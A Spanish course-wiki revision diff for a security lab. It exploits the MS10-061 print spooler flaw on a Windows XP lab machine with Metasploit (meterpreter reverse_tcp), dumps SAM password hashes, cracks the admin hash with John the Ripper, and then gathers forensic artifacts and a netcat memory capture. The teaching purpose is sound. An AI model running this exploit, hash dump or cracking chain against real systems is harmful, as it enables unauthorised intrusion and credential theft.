Muestra las diferencias entre dos versiones de la página.
Ambos lados, revisión anterior Revisión previa Próxima revisión | Revisión previa | ||
sad:t2:m4 [2018/12/17 11:21] José Manuel Guallar |
sad:t2:m4 [2019/01/10 14:40] (actual) José Manuel Guallar |
||
---|---|---|---|
Línea 1: | Línea 1: | ||
====== Metasploit 4 ====== | ====== Metasploit 4 ====== | ||
- | Escenario | + | **Escenario** |
¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior. | ¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior. | ||
- | ¿Qué es Helix? | + | ** ¿Qué es Helix?** |
Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses. | Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses. | ||
Línea 15: | Línea 15: | ||
El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado. | El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado. | ||
- | Referencias | + | **Referencias** |
* http://cvedetails.com/cve/2010-2729/ | * http://cvedetails.com/cve/2010-2729/ | ||
* https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-061 | * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-061 | ||
- | Requisitos para hacer esta practica | + | **Requisitos para hacer esta practica** |
* Maquina XP | * Maquina XP | ||
* Kali | * Kali | ||
- | Post requisitos | + | ** Post requisitos** |
* Volatility | * Volatility | ||
- | Que haremos en esta practica | + | **Que haremos en esta practica** |
* Descargar Helix2008R1 | * Descargar Helix2008R1 | ||
Línea 71: | Línea 71: | ||
Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando | Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando | ||
- | NetBIOS es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local | + | **NetBIOS** es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local |
Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP. | Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP. | ||
Línea 95: | Línea 95: | ||
{{:sad:t2:m4:13.png?400|}} | {{:sad:t2:m4:13.png?400|}} | ||
- | + | ** | |
- | Acceso a los recursos SMB | + | Acceso a los recursos SMB** |
<code> | <code> | ||
Línea 120: | Línea 120: | ||
msfconsole | msfconsole | ||
search ms10_061 | search ms10_061 | ||
- | use exploit/windows/smb/sm10_061_spoolss | + | use exploit/windows/smb/ms10_061_spoolss |
info | info | ||
set PAYLOAD windows/meterpreter/reverse_tcp | set PAYLOAD windows/meterpreter/reverse_tcp | ||
Línea 177: | Línea 177: | ||
(/fi) es un filtro; y ( "PID EQ " 1876 ") filtrar o mostrar sólo un PID que coincida con 196. | (/fi) es un filtro; y ( "PID EQ " 1876 ") filtrar o mostrar sólo un PID que coincida con 196. | ||
- | netstat muestra conexiones de red. | + | **netstat** muestra conexiones de red. |
(-n) muestra direcciones y números de puerto en forma numérica | (-n) muestra direcciones y números de puerto en forma numérica | ||
Línea 185: | Línea 185: | ||
(-o) muestra el identificador de proceso propietario asociado a cada conexión. | (-o) muestra el identificador de proceso propietario asociado a cada conexión. | ||
- | 21 | + | {{:sad:t2:m4:21.png?400|}} |
- | 22 | + | |
+ | |||
+ | {{:sad:t2:m4:22.png?400|}} | ||
===== Archivos Forenses Basicos ===== | ===== Archivos Forenses Basicos ===== | ||
<code> | <code> | ||
- | tasklist > forensics_tasklist.txt | + | tasklist > forense_tasklist.txt |
- | netstat -nao > forensics_netstat.txt | + | netstat -nao > forense_netstat.txt |
- | dir > forensics_dir.txt | + | dir > forense_dir.txt |
exit | exit | ||
</code> | </code> | ||
Línea 202: | Línea 204: | ||
Comando 4, salimos del shell de comandos y vuelva a la solicitud de meterpreter. | Comando 4, salimos del shell de comandos y vuelva a la solicitud de meterpreter. | ||
- | 23 | ||
+ | {{:sad:t2:m4:23.png?400|}} | ||
+ | ** | ||
+ | Obtener la base de datos SAM** | ||
+ | [[https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics]] | ||
+ | |||
+ | El administrador de cuentas de seguridad Security Account Manager (SAM) es un archivo de base de datos en Windows XP, Windows Vista y Windows 7 que almacena las contraseñas de los usuarios | ||
+ | |||
+ | <code> | ||
+ | hashdump | ||
+ | # seleccionamos todo, boton derecho del raton y copiar | ||
</code> | </code> | ||
+ | |||
+ | {{:sad:t2:m4:24.png?400|}} | ||
+ | |||
+ | <code> | ||
+ | gnome-text-editor samhash.txt | ||
+ | # pegamos y guardamos el fichero | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:25.png?400|}} | ||
+ | |||
+ | **Preparacion para la recogida de datos de la memoria** | ||
+ | |||
+ | <code> | ||
+ | mkdir -p /forense/ms10_061 | ||
+ | cd /forense/ms10_061 | ||
+ | nc -l -vvv -p 8888 > ms10_061.dd | ||
+ | </code> | ||
+ | |||
+ | Se crea un directorio llamado forense/ms10_061. Use (-p) para suprimir un error si el directorio ya existe. | ||
+ | |||
+ | Se cambia el directorio en/forense /ms10_061. | ||
+ | |||
+ | Creamos un escucha netcat (-l) en el puerto (-p) 8888 en modo detallado extremo (-vvv) redirigir (>) salida en un archivo (ms10_016.dd) | ||
+ | |||
+ | {{:sad:t2:m4:26.png?400|}} | ||
+ | |||
+ | |||
+ | ===== Memoria del XP ===== | ||
+ | |||
+ | |||
+ | Click en CD/DVD(IDE) | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:27.png?400|}} | ||
+ | |||
+ | Aceptamos pinchamos en la camara | ||
+ | |||
+ | * en origen ponemos Physical Memory | ||
+ | * Localizacion NetCat | ||
+ | * Ip Destino la del Kali | ||
+ | * puerto 8888 | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:28.png?400|}} | ||
+ | |||
+ | En el momento que pulsamos start se empieza la captura de la memoria del xp a través de la red con la red netcat que se ejecuta en Kali | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:29.png?400|}} | ||
+ | |||
+ | La pantalla negra desaparece cuando se haya terminado de copiar toda la memoria | ||
+ | |||
+ | ===== Recuperar archivos del xp. ===== | ||
+ | |||
+ | En el Kali | ||
+ | |||
+ | vemos que una ver terminado nos indica la cantidad de bits de memoria capturada | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:30.png?400|}} | ||
+ | |||
+ | Descarga de los ficheros forenses en el meterpreter | ||
+ | |||
+ | |||
+ | <code> | ||
+ | pwd | ||
+ | download C:\\WINDOWS\\system32\\forense_tasklist.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\forense_netstat.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\forense_dir.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\RvOYs3UqrJqo7a.exe /forense/ms10_061/ | ||
+ | </code> | ||
+ | |||
+ | |||
+ | RvOYs3UqrJqo7a.exe en vuestro caso el que se haya creado en el ordenador | ||
+ | |||
+ | |||
+ | |||
+ | {{:sad:t2:m4:31.png?400|}} | ||
+ | |||
+ | En otra ventana de terminal ejecutaremos un John The Ripper | ||
+ | |||
+ | <code> | ||
+ | cp /samhash.txt . | ||
+ | grep -i admin samhash.txt > adminhash.txt | ||
+ | # cat /dev/null > /root/.john/john.pot (no) | ||
+ | john --format=nt adminhash.txt | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:32.png?400|}} | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:33.png?400|}} | ||
+ | |||
+ | print de pantalla final que hay que entregar | ||
+ | |||
+ | |||
+ | <code> | ||
+ | ls -lrta | ||
+ | grep "4444" *.txt | ||
+ | grep "1876" forense_tasklist.txt | ||
+ | # Reemplazalo por tu PID | ||
+ | grep "RvOYs3UqrJqo7a.exe" forense_tasklist.txt | ||
+ | grep "RvOYs3UqrJqo7a.exe" forense_dir.txt | ||
+ | # Reemplaza (RvOYs3UqrJqo7a.exe) por tu programa malicioso | ||
+ | date | ||
+ | echo "Tu nombre" | ||
+ | </code> | ||